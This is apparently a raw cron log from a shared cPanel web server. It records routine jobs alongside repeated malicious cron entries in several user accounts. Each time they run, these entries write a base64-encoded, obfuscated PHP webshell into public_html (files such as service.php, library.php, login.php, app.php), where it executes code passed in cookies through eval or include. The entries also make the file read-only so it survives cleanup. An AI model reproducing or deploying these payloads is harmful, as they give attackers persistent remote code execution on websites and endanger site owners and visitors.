Mar  2 15:17:02 medusa CROND[14800]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 15:17:02 medusa CROND[14788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:17:02 medusa CROND[14817]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:17:02 medusa CROND[14819]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:18:01 medusa CROND[30392]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:18:01 medusa CROND[30401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:18:01 medusa CROND[30404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:18:01 medusa CROND[30418]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:18:01 medusa CROND[30734]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:18:01 medusa CROND[30736]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:18:01 medusa CROND[30737]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:18:01 medusa CROND[30738]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:18:01 medusa CROND[30741]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:18:01 medusa CROND[30743]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:18:01 medusa CROND[30755]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:18:01 medusa CROND[30756]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:18:01 medusa CROND[30757]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:18:01 medusa CROND[30760]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 15:19:01 medusa CROND[13073]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:19:01 medusa CROND[13074]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:19:01 medusa CROND[13075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:19:01 medusa CROND[13084]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:19:01 medusa CROND[13088]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:19:01 medusa CROND[13092]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:19:01 medusa CROND[13093]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:19:01 medusa CROND[13094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:19:01 medusa CROND[13095]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:19:01 medusa CROND[13106]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
